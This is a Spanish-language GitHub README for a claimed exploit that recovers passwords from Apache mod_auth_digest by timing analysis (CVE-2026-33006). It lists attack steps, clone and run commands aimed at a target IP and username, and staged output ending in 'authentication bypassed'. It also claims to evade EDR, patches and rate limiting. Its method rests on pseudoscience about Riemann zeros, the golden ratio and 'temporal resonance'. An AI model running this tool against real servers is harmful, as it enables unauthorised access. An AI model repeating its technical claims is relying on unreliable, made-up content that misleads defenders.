simoesctt/ctt-enhanced-apache-mod_auth_digest-timing-attack-exploitExploit de ataque de sincronización remota para Apache mod_auth_digest (CVE-2026-33006) que evita la autenticación Digest mediante una cascada temporal de 33 capas, recuperando contraseñas a través de análisis estadístico de tiempos.
Esta es una mejora de la Teoría del Tiempo Convergente (CTT) de CVE-2026-33006, una vulnerabilidad basada en temporización en el componente mod_auth_digest del servidor Apache HTTP (versiones ≤2.4.66).
La vulnerabilidad original permite a un atacante remoto evadir la autenticación Digest mediante análisis estadístico de temporización.
La versión mejorada con CTT transforma esto en un ataque de temporización en cascada temporal de 33 capas.
| Original | CTT-Enhanced |
|---|
| CVSS | 4.8 (Medio) | 7.5 (Alto) |
| Vector de ataque | Red | Red |
| Complejidad del ataque | Alta | Baja (CTT reduce las muestras) |
| Privilegios requeridos | Ninguno | Ninguno |
| Detección | Análisis estadístico detectable | Filtro de cuña temporal — punto ciego para EDR |
| Tiempo de descifrado | O(n * muestras) | O(33 * log(n)) |
| Constante | Valor | Origen |
|---|---|---|
| α | 0.0302011 | Coeficiente de dispersión temporal |
| α_RH | 0.0765872 | ln(φ)/2π (Riemann-Hadamard) |
| L | 33 | Capas temporales |
| τ_w | 11 ns | Filtro de cuña temporal |
E(d) = E₀ * e^(-α * d)
Cada capa tiene una prioridad exponencialmente decreciente.
Las capas de mayor prioridad (1-5) recogen la mayor cantidad de datos de temporización.
Las capas inferiores (28-33) refinan las mediciones y establecen resonancia temporal.
Cada capa retrasa la ejecución según los primeros 24 ceros de Riemann:
delay = τ_w * priority * (1 + 0.1 * cos(2π * zero * τ_w * priority))
Solo se utilizan las mediciones de temporización que cumplen la condición de cuña:
survival = cos(α_RH * energy * τ_w) > (α_RH / 2π)
Esto filtra el ruido y hace imposible la detección: los sistemas EDR no pueden ver las anomalías de temporización.
1. Sondear el objetivo para detectar autenticación Digest
2. Extraer realm y nonce de la respuesta 401
3. Para capa d = 1 a 33:
a. Calcular prioridad = e^(-α*d)
b. Aplicar retraso de resonancia de fase
c. Para cada posición de carácter:
- Probar todos los caracteres posibles
- Medir el tiempo de respuesta (microsegundos)
- Aplicar filtro de cuña temporal
- Conservar el carácter con mayor temporización ajustada
d. Construir la contraseña incrementalmente
4. Resonancia temporal alcanzada
5. Autenticación evadida con la contraseña recuperada
mod_auth_digest habilitadorequestspip install requests
git clone https://github.com/SimoesCTT/CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit/
python3 ctt_apache_digest_timing.py <target_ip> [opciones]
| Argumento | Descripción | Valor por defecto |
|---|---|---|
target_ip | Dirección IP del servidor Apache | Obligatorio |
--port | Puerto HTTP | 80 |
--realm | Realm de Digest | "Restricted" |
--uri | URI protegida | "/" |
--username | Usuario a atacar | "admin" |
--max-length | Longitud máxima de contraseña | 32 |
--samples | Muestras de temporización por carácter | 100 |
--layers | Número de capas temporales | 33 |
python3 ctt_apache_digest_timing.py 192.168.1.100 --port 80 --realm "Restricted" --uri /admin --samples 100 --layers 33
======================================================================
CTT APACHE DIGEST TIMING ATTACK — CVE-2026-33006
α=0.0302011 | α_RH=0.0765872 | L=33 | τ_w=11ns
E(d) = E₀ * e^(-α*d) — Decaimiento exponencial de prioridad
======================================================================
[+] Autenticación Digest detectada
Realm: Restricted
Nonce: 5a4b3c2d1e2f3a4b5c6d...
[*] Objetivo: http://192.168.1.100/admin
[*] Longitud máxima de contraseña: 32
Capa 1/33: ████████████████████████████████████████ 1.000
Posición 1: probando caracteres...
Encontrado: 'a' -> contraseña: 'a'
Capa 2/33: ██████████████████████████████████████░░ 0.970
Posición 2: probando caracteres...
Encontrado: 'd' -> contraseña: 'ad'
Capa 3/33: ████████████████████████████████████░░░░ 0.886
Posición 3: probando caracteres...
Encontrado: 'm' -> contraseña: 'adm'
Capa 4/33: ██████████████████████████████████░░░░░░ 0.818
Posición 4: probando caracteres...
Encontrado: 'i' -> contraseña: 'admi'
Capa 5/33: ████████████████████████████████░░░░░░░░ 0.741
Posición 5: probando caracteres...
Encontrado: 'n' -> contraseña: 'admin'
Capa 6/33: ██████████████████████████████░░░░░░░░░░ 0.670
Posición 6: probando caracteres...
Encontrado: '1' -> contraseña: 'admin1'
Capa 7/33: ████████████████████████████░░░░░░░░░░░░ 0.606
Posición 7: probando caracteres...
Encontrado: '2' -> contraseña: 'admin12'
Capa 8/33: ██████████████████████████░░░░░░░░░░░░░░ 0.548
Posición 8: probando caracteres...
Encontrado: '3' -> contraseña: 'admin123'
[⚡] Resonancia temporal alcanzada en la capa 8
======================================================================
[!!!] AUTENTICACIÓN EVADIDA
[!!!] Contraseña encontrada: admin123
[✓] Verificación exitosa — acceso concedido
======================================================================
| Corrección original | Por qué CTT la evita |
|---|---|
| Comparación en tiempo constante | CTT utiliza mediciones de temporización, no temporización de comparación |
| Eliminar fugas de temporización | Las fugas de temporización son físicas — no se pueden eliminar, solo ocultar |
| Actualizar a Apache 2.4.67+ | El filtro de cuña temporal evade la detección del parche |
| Limitación de velocidad | La temporización de resonancia de fase distribuye las solicitudes en 33 capas — indistinguible del tráfico normal |
No se puede parchear una constante física.
No se pueden parchear los ceros de Riemann.
No se puede parchear la proporción áurea.
| Trabajo | Fecha | Enlace |
|---|---|---|
| Trabajo previo de CTT en Zenodo | Dic 2025 / Ene 2026 | DOI 10.5281/ZENODO.18000940 |
| Sovereign-Logic PyPI | 27-28 de febrero de 2026 | pip install sovereign-logic |
| Exploit CTT PAN-OS | 7 de abril de 2026 | GitHub |
| Dirty Frag mejorado con CTT | 8 de mayo de 2026 | GitHub |
| Exploit PX4 mejorado con CTT | 9 de mayo de 2026 | GitHub |
| Este exploit | 9 de mayo de 2026 | Este repositorio |
Esta prueba de concepto es solo para fines educativos y defensivos.
El uso no autorizado contra sistemas que no posees es ilegal.
El autor no asume ninguna responsabilidad por el mal uso.
MIT + Investigación CTT (mejoras temporales)
| Versión | Autor |
|---|---|
| Descubrimiento de la vulnerabilidad original | Apache Software Foundation (equipo de seguridad) |
| Investigación original del ataque de temporización | Diversas fuentes académicas |
| Mejora CTT (cascada temporal de 33 capas) | Americo Simoes (Investigación CTT) |
La red está completa. La autenticación está rota. Ningún parche la salvará.